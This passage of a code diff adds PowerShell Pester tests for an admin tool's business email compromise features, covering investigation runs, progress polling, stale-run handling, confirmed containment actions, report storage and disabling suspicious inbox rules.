$Response.Body.Error | Should -Match 'userid' + } + } + + Context 'starting a run' { + It 'POST queues the investigation: history row, progress job keyed on the case id, orchestration, and returns the case id as GUID' { + Mock Get-CIPPBecReport { @($script:Completed) } + $Response = Invoke-ExecBECCheck -Request (New-Request -Body ([pscustomobject]@{ tenantFilter = 'contoso.com'; userid = 'u1'; userName = 'user@contoso.com' })) -TriggerMetadata $null + $Response.StatusCode | Should -Be 200 + $Response.Body.GUID | Should -Be 'BEC-20260820120000-new001' + $Response.Body.Scope | Should -Be 'Full' + $Response.Body.Status | Should -Be 'Waiting' + Should -Invoke Set-CIPPBecReport -Times 1 -ParameterFilter { $Replace.IsPresent -and $Properties.Status -eq 'Waiting' -and $Properties.Scope -eq 'Full' -and $Properties.UserId -eq 'u1' -and $Properties.RequestedBy -eq 'tech@msp.com' -and $CaseId -eq 'BEC-20260820120000-new001' } + Should -Invoke New-CIPPAsyncDeployment -Times 1 -ParameterFilter { $JobId -eq 'BEC-20260820120000-new001' -and $Names -contains 'user@contoso.com' -and @($StepTitles).Count -eq 12 -and $Source -eq 'BEC' } + Should -Invoke Start-CIPPOrchestrator -Times 1 -ParameterFilter { $InputObject.OrchestratorName -eq 'BECRunOrchestrator' -and $InputObject.Batch[0].FunctionName -eq 'BECRun' -and $InputObject.Batch[0].CaseId -eq 'BEC-20260820120000-new001' -and $InputObject.Batch[0].Scope -eq 'Full' -and $InputObject.Batch[0].UserID -eq 'u1' } + } + + It 'ignores a legacy scope parameter: every run is the full investigation' { + Mock Get-CIPPBecReport { @() } + $Response = Invoke-ExecBECCheck -Request (New-Request -Body ([pscustomobject]@{ tenantFilter = 'contoso.com'; userid = 'u1'; userName = 'user@contoso.com'; scope = [pscustomobject]@{ label = 'Quick'; value = 'Quick' } })) -TriggerMetadata $null + $Response.Body.Scope | Should -Be 'Full' + Should -Invoke New-CIPPAsyncDeployment -Times 1 -ParameterFilter { @($StepTitles).Count -eq 12 } + Should -Invoke Start-CIPPOrchestrator -Times 1 -ParameterFilter { $InputObject.Batch[0].Scope -eq 'Full' } + } + + It 'GET overwrite=true still queues for older callers' { + Mock Get-CIPPBecReport { @($script:Completed) } + $Response = Invoke-ExecBECCheck -Request (New-Request @{ tenantFilter = 'contoso.com'; userid = 'u1'; userName = 'user@contoso.com'; overwrite = 'true' }) -TriggerMetadata $null + $Response.Body.GUID | Should -Be 'BEC-20260820120000-new001' + $Response.Body.Scope | Should -Be 'Full' + Should -Invoke Start-CIPPOrchestrator -Times 1 -ParameterFilter { $InputObject.Batch[0].Scope -eq 'Full' } + } + + It 'POST without a userid fails cleanly and queues nothing' { + $Response = Invoke-ExecBECCheck -Request (New-Request -Body ([pscustomobject]@{ tenantFilter = 'contoso.com'; userid = '' })) -TriggerMetadata $null + $Response.StatusCode | Should -Be 500 + Should -Invoke Start-CIPPOrchestrator -Times 0 + } + } + + Context 'polling a run' { + It 'reports Waiting with the live progress while the run is queued or running' { + $Started = (Get-Date).ToUniversalTime().AddMinutes(-2).ToString('o') + Mock Get-CIPPBecReport { [pscustomobject]@{ CaseId = 'BEC-w'; Status = 'Running'; Scope = 'Full'; RequestedAt = (Get-Date).ToUniversalTime().AddMinutes(-3).ToString('o'); RequestedBy = 'tech@msp.com'; StartedAt = $Started } } + Mock Get-CIPPAsyncDeployment { @([pscustomobject]@{ Name = 'user@contoso.com'; Status = 'running'; LastUpdate = [DateTimeOffset]::UtcNow.AddMinutes(-1); Steps = @([pscustomobject]@{ Title = 'Audit log'; Status = 'succeeded'; Message = 'Done' }, [pscustomobject]@{ Title = 'Sign-ins'; Status = 'running'; Message = 'Reading sign-ins' }); Logs = '' }) } + $Response = Invoke-ExecBECCheck -Request (New-Request @{ tenantFilter = 'contoso.com'; GUID = 'BEC-w' }) -TriggerMetadata $null + $Response.Body.Waiting | Should -BeTrue + $Response.Body.CaseId | Should -Be 'BEC-w' + $Response.Body.Status | Should -Be 'Running' + $Response.Body.StartedAt | Should -Be $Started + $Response.Body.Progress.Status | Should -Be 'running' + @($Response.Body.Progress.Steps).Count | Should -Be 2 + $Response.Body.Progress.Steps[1].Status | Should -Be 'running' + Should -Invoke Get-CIPPBecReport -Times 1 -ParameterFilter { $CaseId -eq 'BEC-w' -and $IncludeResults.IsPresent } + Should -Invoke Get-CIPPAsyncDeployment -Times 1 -ParameterFilter { $JobId -eq 'BEC-w' } + Should -Invoke Set-CIPPBecReport -Times 0 -Because 'a run that progressed a minute ago is not stale' + } + + It 'marks a run with no progress for longer than 20 minutes as failed, on the job rows too, and says why' { + Mock Get-CIPPBecReport { [pscustomobject]@{ CaseId = 'BEC-stale'; Status = 'Running'; Scope = 'Full'; RequestedAt = (Get-Date).ToUniversalTime().AddMinutes(-50).ToString('o'); StartedAt = (Get-Date).ToUniversalTime().AddMinutes(-45).ToString('o') } } + Mock Get-CIPPAsyncDeployment { @([pscustomobject]@{ Name = 'user@contoso.com'; Status = 'running'; LastUpdate = [DateTimeOffset]::UtcNow.AddMinutes(-35); Steps = @([pscustomobject]@{ Title = 'Audit log'; Status = 'succeeded'; Message = 'Done' }, [pscustomobject]@{ Title = 'Sign-ins'; Status = 'running'; Message = 'Reading sign-ins' }); Logs = '' }) } + $Response = Invoke-ExecBECCheck -Request (New-Request @{ tenantFilter = 'contoso.com'; GUID = 'BEC-stale' }) -TriggerMetadata $null + $Response.StatusCode | Should -Be 200 + $Response.Body.Waiting | Should -BeFalse + $Response.Body.Status | Should -Be 'Error' + $Response.Body.Error | Should -Match 'No progress for more than 20 minutes' + Should -Invoke Set-CIPPBecReport -Times 1 -ParameterFilter { $CaseId -eq 'BEC-stale' -and $Properties.Status -eq 'Error' -and $Properties.ErrorMessage -match 'No progress' } + Should -Invoke Set-CIPPAsyncDeploymentStep -Times 1 -ParameterFilter { $JobId -eq 'BEC-stale' -and $StepIndex -eq 1 -and $StepStatus -eq 'failed' } + Should -Invoke Set-CIPPAsyncDeploymentStatus -Times 1 -ParameterFilter { $JobId -eq 'BEC-stale' -and $Status -eq 'failed' } + Should -Invoke Write-LogMessage -Times 1 -ParameterFilter { $message -match 'marked failed' } + } + + It 'judges a queued run with no job rows by when it was requested' { + Mock Get-CIPPBecReport { [pscustomobject]@{ CaseId = 'BEC-q'; Status = 'Waiting'; Scope = 'Full'; RequestedAt = (Get-Date).ToUniversalTime().AddMinutes(-5).ToString('o') } } + Mock Get-CIPPAsyncDeployment { @() } + (Invoke-ExecBECCheck -Request (New-Request @{ tenantFilter = 'contoso.com'; GUID = 'BEC-q' }) -TriggerMetadata $null).Body.Waiting | Should -BeTrue + Mock Get-CIPPBecReport { [pscustomobject]@{ CaseId = 'BEC-q'; Status = 'Waiting'; Scope = 'Full'; RequestedAt = (Get-Date).ToUniversalTime().AddMinutes(-25).ToString('o') } } + $Old = Invoke-ExecBECCheck -Request (New-Request @{ tenantFilter = 'contoso.com'; GUID = 'BEC-q' }) -TriggerMetadata $null + $Old.Body.Waiting | Should -BeFalse + $Old.Body.Error | Should -Match 'abandoned' + Should -Invoke Set-CIPPAsyncDeploymentStatus -Times 0 -Because 'there are no job rows to mark' + } + + It 'reports Waiting without progress when the job rows are missing' { + Mock Get-CIPPBecReport { [pscustomobject]@{ CaseId = 'BEC-w'; Status = 'Waiting'; Scope = 'Quick' } } + Mock Get-CIPPAsyncDeployment { @() } + $Response = Invoke-ExecBECCheck -Request (New-Request @{ tenantFilter = 'contoso.com'; GUID = 'BEC-w' }) -TriggerMetadata $null + $Response.Body.Waiting | Should -BeTrue + $Response.Body.Progress | Should -BeNullOrEmpty + } + + It 'returns the results payload with a Run header once completed' { + Mock Get-CIPPBecReport { $script:Completed } + $Response = Invoke-ExecBECCheck -Request (New-Request @{ tenantFilter = 'contoso.com'; GUID = 'BEC-20260810000000-old001' }) -TriggerMetadata $null + $Response.Body.CaseId | Should -Be 'BEC-20260810000000-old001' + $Response.Body.Run.Status | Should -Be 'Completed' + $Response.Body.Run.RequestedBy | Should -Be 'tech@msp.com' + $Response.Body.PSObject.Properties.Name | Should -Contain 'NewRules' + } + + It 'accepts caseId as the explicit form of GUID' { + Mock Get-CIPPBecReport { $script:Completed } + $Response = Invoke-ExecBECCheck -Request (New-Request @{ tenantFilter = 'contoso.com'; caseId = 'BEC-20260810000000-old001' }) -TriggerMetadata $null + $Response.Body.Run.CaseId | Should -Be 'BEC-20260810000000-old001' + } + + It 'surfaces a failed run and an unknown case id as errors, not as Waiting' { + Mock Get-CIPPBecReport { [pscustomobject]@{ CaseId = 'BEC-e'; Status = 'Error'; ErrorMessage = 'boom'; Scope = 'Quick' } } + Mock Get-CIPPAsyncDeployment { @([pscustomobject]@{ Name = 'user@contoso.com'; Status = 'failed'; Steps = @([pscustomobject]@{ Title = 'Audit log'; Status = 'failed'; Message = 'boom' }); Logs = 'boom' }) } + $Failed = Invoke-ExecBECCheck -Request (New-Request @{ tenantFilter = 'contoso.com'; GUID = 'BEC-e' }) -TriggerMetadata $null + $Failed.Body.Waiting | Should -BeFalse + $Failed.Body.Error | Should -Be 'boom' + $Failed.Body.Progress.Status | Should -Be 'failed' -Because 'the page shows which phase failed' + Mock Get-CIPPBecReport { $null } + $Missing = Invoke-ExecBECCheck -Request (New-Request @{ tenantFilter = 'contoso.com'; GUID = 'BEC-missing' }) -TriggerMetadata $null + $Missing.Body.Waiting | Should -BeFalse + $Missing.Body.Error | Should -Match 'not found' + } + } +} diff --git a/backend/Tests/Endpoint/Invoke-ExecBECRemediate.Tests.ps1 b/backend/Tests/Endpoint/Invoke-ExecBECRemediate.Tests.ps1 new file mode 100644 index 0000000000..ea303dcd70 --- /dev/null +++ b/backend/Tests/Endpoint/Invoke-ExecBECRemediate.Tests.ps1 @@ -0,0 +1,82 @@ +BeforeAll { + $RepoRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $PSCommandPath)) + class HttpResponseContext { [int]$StatusCode; [object]$Body } + $TypeAccelerators = [PowerShell].Assembly.GetType('System.Management.Automation.TypeAccelerators') + if (-not ([System.Management.Automation.PSTypeName]'HttpStatusCode').Type) { + $TypeAccelerators::Add('HttpStatusCode', [System.Net.HttpStatusCode]) + } + function Invoke-CIPPBecContainment { param($TenantFilter, $UserId, $UserPrincipalName, $Actions, $Parameters, [switch]$Confirmed, $CaseId, $RunResults, $Headers, $APIName) } + function Get-CIPPBecReport { param($TenantFilter, $CaseId, $UserId, [switch]$IncludeResults) } + function New-GraphGetRequest { param($uri, $tenantid, $AsApp, $noPagination) } + function Write-LogMessage { param($message, $tenant, $API, $tenantId, $headers, $user, $sev, $LogData) } + function Get-CippException { param($Exception) [pscustomobject]@{ NormalizedError = [string]$Exception.Exception.Message } } + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/Get-CIPPBecContainmentActions.ps1') + $FunctionPath = Get-ChildItem -Path (Join-Path $RepoRoot 'Modules') -Recurse -Filter 'Invoke-ExecBECRemediate.ps1' | Select-Object -First 1 + . $FunctionPath.FullName + + function New-Request { + param([hashtable]$Body) + [pscustomobject]@{ + Params = [pscustomobject]@{ CIPPEndpoint = 'ExecBECRemediate' } + Headers = [pscustomobject]@{ 'x-ms-client-principal' = 'x' } + Query = $null + Body = [pscustomobject]$Body + } + } +} + +Describe 'Invoke-ExecBECRemediate' { + BeforeEach { + Mock Invoke-CIPPBecContainment { @([pscustomobject]@{ Action = 'RevokeSessions'; Target = 'victim@contoso.com'; state = 'success'; resultText = 'ok'; copyField = $null }) } + Mock Get-CIPPBecReport { [pscustomobject]@{ Results = [pscustomobject]@{ CaseId = 'BEC-1'; UserGrants = @() } } } + Mock Write-LogMessage { } + } + + It 'runs the default set when no actions are given and the UPN is typed' { + $Response = Invoke-ExecBECRemediate -Request (New-Request @{ tenantFilter = 'contoso.com'; userid = 'u1'; username = 'victim@contoso.com'; Confirmation = 'Victim@Contoso.com' }) -TriggerMetadata $null + $Response.StatusCode | Should -Be 200 + $Response.Body.Results[0].state | Should -Be 'success' + Should -Invoke Invoke-CIPPBecContainment -Times 1 -ParameterFilter { $Confirmed.IsPresent -and @($Actions).Count -eq 0 -and $UserPrincipalName -eq 'victim@contoso.com' } + } + + It 'returns 400 and runs nothing when a Critical action is selected without the typed UPN' { + $Response = Invoke-ExecBECRemediate -Request (New-Request @{ tenantFilter = 'contoso.com'; userid = 'u1'; username = 'victim@contoso.com'; Actions = @('ResetPassword', 'RevokeSessions'); Confirmation = 'wrong' }) -TriggerMetadata $null + $Response.StatusCode | Should -Be 400 + $Response.Body.Results[0].state | Should -Be 'error' + $Response.Body.Results[0].resultText | Should -Match 'Type the user''s UPN' + Should -Invoke Invoke-CIPPBecContainment -Times 0 + } + + It 'lets non-Critical actions run without confirmation' { + $Response = Invoke-ExecBECRemediate -Request (New-Request @{ tenantFilter = 'contoso.com'; userid = 'u1'; username = 'victim@contoso.com'; Actions = @('RevokeSessions', 'ClearForwarding') }) -TriggerMetadata $null + $Response.StatusCode | Should -Be 200 + Should -Invoke Invoke-CIPPBecContainment -Times 1 -ParameterFilter { -not $Confirmed.IsPresent -and $Actions -contains 'ClearForwarding' } + } + + It 'accepts autocomplete-shaped action objects and loads the case run for target resolution' { + $Response = Invoke-ExecBECRemediate -Request (New-Request @{ tenantFilter = 'contoso.com'; userid = 'u1'; username = 'victim@contoso.com'; Actions = @([pscustomobject]@{ value = 'RevokeSessions'; label = 'Revoke sessions' }); CaseId = 'BEC-1'; Parameters = [pscustomobject]@{ Protocols = @('IMAP') } }) -TriggerMetadata $null + $Response.StatusCode | Should -Be 200 + Should -Invoke Get-CIPPBecReport -Times 1 -ParameterFilter { $CaseId -eq 'BEC-1' -and $IncludeResults.IsPresent } + Should -Invoke Invoke-CIPPBecContainment -Times 1 -ParameterFilter { $Actions -contains 'RevokeSessions' -and $RunResults.CaseId -eq 'BEC-1' -and $Parameters.Protocols -contains 'IMAP' -and $CaseId -eq 'BEC-1' } + } + + It 'rejects unknown actions' { + $Response = Invoke-ExecBECRemediate -Request (New-Request @{ tenantFilter = 'contoso.com'; userid = 'u1'; username = 'victim@contoso.com'; Actions = @('Nuke') }) -TriggerMetadata $null + $Response.StatusCode | Should -Be 500 + $Response.Body.Results[0].resultText | Should -Match 'Unknown containment action' + Should -Invoke Invoke-CIPPBecContainment -Times 0 + } + + It 'resolves the UPN from the object id when only userid is supplied' { + Mock New-GraphGetRequest { [pscustomobject]@{ userPrincipalName = 'victim@contoso.com' } } + $null = Invoke-ExecBECRemediate -Request (New-Request @{ tenantFilter = 'contoso.com'; userid = 'u1'; Actions = @('RevokeSessions') }) -TriggerMetadata $null + Should -Invoke Invoke-CIPPBecContainment -Times 1 -ParameterFilter { $UserPrincipalName -eq 'victim@contoso.com' -and $UserId -eq 'u1' } + } + + It 'keeps copyField on the response rows so the password can be copied' { + Mock Invoke-CIPPBecContainment { @([pscustomobject]@{ Action = 'ResetPassword'; Target = 'victim@contoso.com'; state = 'success'; resultText = 'The new password is x'; copyField = 'x' }) } + $Response = Invoke-ExecBECRemediate -Request (New-Request @{ tenantFilter = 'contoso.com'; userid = 'u1'; username = 'victim@contoso.com'; Confirmation = 'victim@contoso.com' }) -TriggerMetadata $null + $Response.Body.Results[0].copyField | Should -Be 'x' + $Response.Body.Results[0].Action | Should -Be 'ResetPassword' + } +} diff --git a/backend/Tests/Private/BecReportStorage.Tests.ps1 b/backend/Tests/Private/BecReportStorage.Tests.ps1 new file mode 100644 index 0000000000..bdda63939e --- /dev/null +++ b/backend/Tests/Private/BecReportStorage.Tests.ps1 @@ -0,0 +1,136 @@ +BeforeAll { + $RepoRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $PSCommandPath)) + function Get-CIPPTable { param($TableName) @{ Context = @{ TableName = $TableName } } } + function Add-CIPPAzDataTableEntity { param($Context, $Entity, [switch]$Force, [string]$OperationType, [switch]$CreateTableIfNotExists) } + function Get-CIPPAzDataTableEntity { param($Context, $Filter, $Property, $First) } + function Remove-CIPPAzDataTableEntity { param($Context, $Entity, [switch]$Force) } + function New-CIPPAzStorageRequest { param($Service, $Resource, $Method, $Body, $ContentType) throw 'blob storage must not be touched' } + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/Set-CIPPBecReport.ps1') + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/Get-CIPPBecReport.ps1') + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/Remove-CIPPBecReport.ps1') +} + +Describe 'Set-CIPPBecReport' { + BeforeEach { + $script:Writes = [System.Collections.Generic.List[object]]::new() + Mock Add-CIPPAzDataTableEntity { $script:Writes.Add(@{ Table = $Context.TableName; Entity = $Entity; Force = $Force.IsPresent; OperationType = $OperationType }) } + } + + It 'writes the results to their own BecResults row (replace) and records the size on the merged run row' { + $Results = [pscustomobject]@{ CaseId = 'BEC-1'; NewRules = @([pscustomobject]@{ Name = 'r1' }) } + $Entity = Set-CIPPBecReport -TenantFilter 'contoso.com' -CaseId 'BEC-1' -Properties @{ Status = 'Completed' } -Results $Results + $ResultsWrite = $script:Writes | Where-Object { $_.Table -eq 'BecResults' } + $ResultsWrite | Should -HaveCount 1 + $ResultsWrite.Force | Should -BeTrue -Because 'replace lets the large-entity writer clean up shrunken part rows' + $ResultsWrite.Entity.PartitionKey | Should -Be 'contoso.com' + $ResultsWrite.Entity.RowKey | Should -Be 'BEC-1' + $ResultsWrite.Entity.Results | Should -Match '"NewRules"' + $RowWrite = $script:Writes | Where-Object { $_.Table -eq 'BecReports' } + $RowWrite | Should -HaveCount 1 + $RowWrite.OperationType | Should -Be 'UpsertMerge' + $Entity.ResultsBytes | Should -BeGreaterThan 0 + $Entity.Keys | Should -Not -Contain 'ResultsBlob' + } + + It 'replaces the run row without touching the results table when only properties are given' { + Set-CIPPBecReport -TenantFilter 'contoso.com' -CaseId 'BEC-1' -Replace -Properties @{ Status = 'Waiting'; UserId = 'u1' } | Out-Null + @($script:Writes | Where-Object { $_.Table -eq 'BecResults' }).Count | Should -Be 0 + ($script:Writes | Where-Object { $_.Table -eq 'BecReports' }).Force | Should -BeTrue + } + + It 'stores structured properties as compact JSON' { + $Entity = Set-CIPPBecReport -TenantFilter 'contoso.com' -CaseId 'BEC-1' -Properties @{ Containment = @([pscustomobject]@{ At = 'x'; Actions = @('ResetPassword') }) } + $Entity.Containment | Should -BeOfType [string] + $Entity.Containment | Should -Match '"Actions":\["ResetPassword"\]' + } +} + +Describe 'Get-CIPPBecReport' { + BeforeEach { + $script:RunRows = @( + [pscustomobject]@{ PartitionKey = 'contoso.com'; RowKey = 'BEC-20260801000000-aaaaaa'; UserId = 'u1'; Status = 'Completed'; Containment = '[{"At":"x","Actions":["ResetPassword"]}]'; EvidenceExports = '[{"At":"y","Sha256":"abc"}]'; ETag = 'e1' } + [pscustomobject]@{ PartitionKey = 'contoso.com'; RowKey = 'BEC-20260805000000-bbbbbb'; UserId = 'u2'; Status = 'Completed'; ETag = 'e2' } + [pscustomobject]@{ PartitionKey = 'fabrikam.com'; RowKey = 'BEC-20260803000000-cccccc'; UserId = 'u3'; Status = 'Waiting'; ETag = 'e3' } + ) + Mock Get-CIPPAzDataTableEntity { + if ($Context.TableName -eq 'BecResults') { + if ($Filter -like "*BEC-20260801000000-aaaaaa*") { + return [pscustomobject]@{ PartitionKey = 'contoso.com'; RowKey = 'BEC-20260801000000-aaaaaa'; Results = '{"CaseId":"BEC-20260801000000-aaaaaa","NewRules":[{"Name":"r"}]}' } + } + return $null + } + $Rows = $script:RunRows + if ($Filter -match "PartitionKey eq '([^']+)'") { $Rows = $Rows | Where-Object { $_.PartitionKey -eq $Matches[1] } } + if ($Filter -match "RowKey eq '([^']+)'") { $Rows = $Rows | Where-Object { $_.RowKey -eq $Matches[1] } } + if ($Filter -match "UserId eq '([^']+)'") { $Rows = $Rows | Where-Object { $_.UserId -eq $Matches[1] } } + $Rows + } + } + + It 'lists a tenant newest first with CaseId/Tenant aliases and parsed Containment and EvidenceExports' { + $Rows = @(Get-CIPPBecReport -TenantFilter 'contoso.com') + $Rows.Count | Should -Be 2 + $Rows[0].CaseId | Should -Be 'BEC-20260805000000-bbbbbb' + $Rows[1].Tenant | Should -Be 'contoso.com' + $Rows[1].Containment[0].Actions | Should -Be @('ResetPassword') + $Rows[1].EvidenceExports[0].Sha256 | Should -Be 'abc' + } + + It 'narrows to one user and scans every tenant for AllTenants' { + @(Get-CIPPBecReport -TenantFilter 'contoso.com' -UserId 'u1').Count | Should -Be 1 + @(Get-CIPPBecReport -TenantFilter 'AllTenants').Count | Should -Be 3 + } + + It 'fetches and parses the results row from the BecResults table for a single run when asked' { + $Run = Get-CIPPBecReport -TenantFilter 'contoso.com' -CaseId 'BEC-20260801000000-aaaaaa' -IncludeResults + $Run.Results.NewRules[0].Name | Should -Be 'r' + Should -Invoke Get-CIPPAzDataTableEntity -Times 1 -ParameterFilter { $Context.TableName -eq 'BecResults' } + } + + It 'throws when a completed run has no results row rather than returning a run without data' { + { Get-CIPPBecReport -TenantFilter 'contoso.com' -CaseId 'BEC-20260805000000-bbbbbb' -IncludeResults } | Should -Throw '*not found in the BecResults table*' + } + + It 'attaches nothing for a run that has not completed - polling a queued or running run is not an error' { + $Run = Get-CIPPBecReport -TenantFilter 'fabrikam.com' -CaseId 'BEC-20260803000000-cccccc' -IncludeResults + $Run.Status | Should -Be 'Waiting' + $Run.PSObject.Properties['Results'] | Should -BeNullOrEmpty + Should -Invoke Get-CIPPAzDataTableEntity -Times 0 -ParameterFilter { $Context.TableName -eq 'BecResults' } + } + + It 'names the cause for runs whose results were stored by the blob-era version' { + $script:RunRows += [pscustomobject]@{ PartitionKey = 'contoso.com'; RowKey = 'BEC-20260707000000-dddddd'; UserId = 'u1'; Status = 'Completed'; ResultsBlob = 'bec-reports/contoso.com/BEC-20260707000000-dddddd/results.json'; ETag = 'e4' } + { Get-CIPPBecReport -TenantFilter 'contoso.com' -CaseId 'BEC-20260707000000-dddddd' -IncludeResults } | Should -Throw '*stored by an earlier version*' + } +} + +Describe 'Remove-CIPPBecReport' { + BeforeEach { + $script:Removed = [System.Collections.Generic.List[object]]::new() + Mock Remove-CIPPAzDataTableEntity { $script:Removed.Add(@{ Table = $Context.TableName; Entity = $Entity }) } + } + + It 'removes the BecResults row first, then the run row, through the part-aware remover' { + Mock Get-CIPPAzDataTableEntity { + if ($Context.TableName -eq 'BecResults') { return [pscustomobject]@{ PartitionKey = 'contoso.com'; RowKey = 'BEC-1'; Results = '{}'; ETag = 'r1' } } + [pscustomobject]@{ PartitionKey = 'contoso.com'; RowKey = 'BEC-1'; Status = 'Completed'; ETag = 'e1' } + } + Remove-CIPPBecReport -TenantFilter 'contoso.com' -CaseId 'BEC-1' | Should -Match 'Deleted BEC run BEC-1' + $script:Removed.Count | Should -Be 2 + $script:Removed[0].Table | Should -Be 'BecResults' + $script:Removed[1].Table | Should -Be 'BecReports' + $script:Removed[1].Entity.RowKey | Should -Be 'BEC-1' + } + + It 'tolerates a run that never stored results and refuses one that does not exist' { + Mock Get-CIPPAzDataTableEntity { + if ($Context.TableName -eq 'BecResults') { return $null } + [pscustomobject]@{ PartitionKey = 'contoso.com'; RowKey = 'BEC-1'; Status = 'Error'; ETag = 'e1' } + } + $null = Remove-CIPPBecReport -TenantFilter 'contoso.com' -CaseId 'BEC-1' + $script:Removed.Count | Should -Be 1 + $script:Removed[0].Table | Should -Be 'BecReports' + Mock Get-CIPPAzDataTableEntity { $null } + { Remove-CIPPBecReport -TenantFilter 'contoso.com' -CaseId 'BEC-x' } | Should -Throw '*was not found*' + } +} diff --git a/backend/Tests/Private/BecRunRequest.Tests.ps1 b/backend/Tests/Private/BecRunRequest.Tests.ps1 new file mode 100644 index 0000000000..9c063eb39a --- /dev/null +++ b/backend/Tests/Private/BecRunRequest.Tests.ps1 @@ -0,0 +1,60 @@ +BeforeAll { + $RepoRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $PSCommandPath)) + function Set-CIPPBecReport { param($TenantFilter, $CaseId, $Properties, $Results, [switch]$Replace) } + function New-CIPPAsyncDeployment { param($JobId, $Names, $StepTitles, $Source) } + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/New-CIPPBecCaseId.ps1') + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/Get-CIPPBecRunSteps.ps1') + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/New-CIPPBecRunRequest.ps1') +} + +Describe 'Get-CIPPBecRunSteps' { + It 'defines the twelve phases of the investigation in order, with the score last' { + $Steps = @(Get-CIPPBecRunSteps) + $Steps.Key | Should -Be @('AuditLog', 'SignIns', 'MailboxRules', 'SentMail', 'Tenant', 'MailboxInventory', 'Grants', 'TransportRules', 'ReceivedMail', 'Directory', 'Activity', 'Score') + $Steps | ForEach-Object { $_.Title | Should -Not -BeNullOrEmpty } + @($Steps.Key | Select-Object -Unique).Count | Should -Be 12 -Because 'keys index the steps' + } +} + +Describe 'New-CIPPBecRunRequest' { + BeforeEach { + $script:Rows = [System.Collections.Generic.List[object]]::new() + Mock Set-CIPPBecReport { $script:Rows.Add(@{ CaseId = $CaseId; Properties = $Properties; Replace = $Replace.IsPresent }) } + $script:Jobs = [System.Collections.Generic.List[object]]::new() + Mock New-CIPPAsyncDeployment { $script:Jobs.Add(@{ JobId = $JobId; Names = $Names; StepTitles = $StepTitles; Source = $Source }); $JobId } + } + + It 'writes the Waiting history row, the queued progress job keyed on the case id, and returns the queue item' { + $Prepared = New-CIPPBecRunRequest -TenantFilter 'contoso.com' -UserId 'u1' -UserPrincipalName 'victim@contoso.com' -DisplayName 'Victim' -RequestedBy 'tech@msp.com' + $Prepared.CaseId | Should -Match '^BEC-' + $Prepared.Scope | Should -Be 'Full' + $script:Rows.Count | Should -Be 1 + $script:Rows[0].CaseId | Should -Be $Prepared.CaseId + $script:Rows[0].Replace | Should -BeTrue + $script:Rows[0].Properties.Status | Should -Be 'Waiting' + $script:Rows[0].Properties.Scope | Should -Be 'Full' + $script:Rows[0].Properties.UserPrincipalName | Should -Be 'victim@contoso.com' + $script:Rows[0].Properties.DisplayName | Should -Be 'Victim' + $script:Rows[0].Properties.RequestedBy | Should -Be 'tech@msp.com' + $script:Rows[0].Properties.ContainsKey('QueueId') | Should -BeFalse + $script:Jobs.Count | Should -Be 1 + $script:Jobs[0].JobId | Should -Be $Prepared.CaseId -Because 'the page polls progress by case id' + $script:Jobs[0].Names | Should -Be @('victim@contoso.com') + $script:Jobs[0].Source | Should -Be 'BEC' + @($script:Jobs[0].StepTitles).Count | Should -Be 12 + $Prepared.Item.FunctionName | Should -Be 'BECRun' + $Prepared.Item.UserID | Should -Be 'u1' + $Prepared.Item.userName | Should -Be 'victim@contoso.com' + $Prepared.Item.Scope | Should -Be 'Full' + $Prepared.Item.CaseId | Should -Be $Prepared.CaseId + $Prepared.Item.ContainsKey('QueueId') | Should -BeFalse + } + + It 'carries the queue id for bulk runs and falls back to the object id as the progress name' { + $Prepared = New-CIPPBecRunRequest -TenantFilter 'contoso.com' -UserId 'u2' -QueueId 'q-1' + $script:Rows[0].Properties.QueueId | Should -Be 'q-1' + $script:Jobs[0].Names | Should -Be @('u2') + $Prepared.Item.QueueId | Should -Be 'q-1' + $Prepared.Item.QueueName | Should -Be 'BEC investigation u2' + } +} diff --git a/backend/Tests/Private/Disable-CIPPInboxRules.Tests.ps1 b/backend/Tests/Private/Disable-CIPPInboxRules.Tests.ps1 new file mode 100644 index 0000000000..0d2cd2f49e --- /dev/null +++ b/backend/Tests/Private/Disable-CIPPInboxRules.Tests.ps1 @@ -0,0 +1,48 @@ +BeforeAll { + $RepoRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $PSCommandPath)) + function New-ExoRequest { param($tenantid, $cmdlet, $cmdParams, $anchor, $useSystemMailbox, $Compliance, $Select, $AsApp) } + function Set-CIPPMailboxRule { param($Username, $UserId, $TenantFilter, $RuleId, $RuleName, [switch]$Disable, [switch]$Enable, $APIName, $Headers) } + function Write-LogMessage { param($message, $tenant, $API, $tenantId, $headers, $user, $sev, $LogData) } + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/Disable-CIPPInboxRules.ps1') +} + +Describe 'Disable-CIPPInboxRules' { + BeforeEach { + Mock New-ExoRequest { + @( + [pscustomobject]@{ Name = 'Hide invoices'; Identity = 'victim\1'; Enabled = $true } + [pscustomobject]@{ Name = 'Junk E-Mail Rule'; Identity = 'victim\junk'; Enabled = $true } + [pscustomobject]@{ Name = 'Delegate Rule -1'; Identity = 'victim\d1'; Enabled = $true } + [pscustomobject]@{ Name = 'Forward all'; Identity = 'victim\2'; Enabled = $true } + ) + } + # the real helper returns its log text; the disable function must not let that leak into its rows + Mock Set-CIPPMailboxRule { if ($RuleName -match '^Delegate Rule') { throw 'Cannot modify delegate rule' }; "Successfully set mailbox rule $RuleName for $Username to Disabled" } + Mock Write-LogMessage { } + } + + It 'returns only typed result rows (no leaked helper output), skipping system and delegate rules' { + $Rows = @(Disable-CIPPInboxRules -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com') + $Rows | ForEach-Object { $_ | Should -BeOfType [pscustomobject] -Because 'a leaked string becomes a blank row in the containment results' } + $Rows.Count | Should -Be 2 + ($Rows | Where-Object { $_.state -eq 'success' }).resultText | Should -Be 'Disabled 2 inbox rule(s) for victim@contoso.com.' + ($Rows | Where-Object { $_.state -eq 'info' }).resultText | Should -Match 'Skipped 1 Exchange-managed delegate rule' + Should -Invoke Set-CIPPMailboxRule -Times 3 -ParameterFilter { $Disable.IsPresent } + Should -Invoke Set-CIPPMailboxRule -Times 0 -ParameterFilter { $RuleName -eq 'Junk E-Mail Rule' } + } + + It 'restricts itself 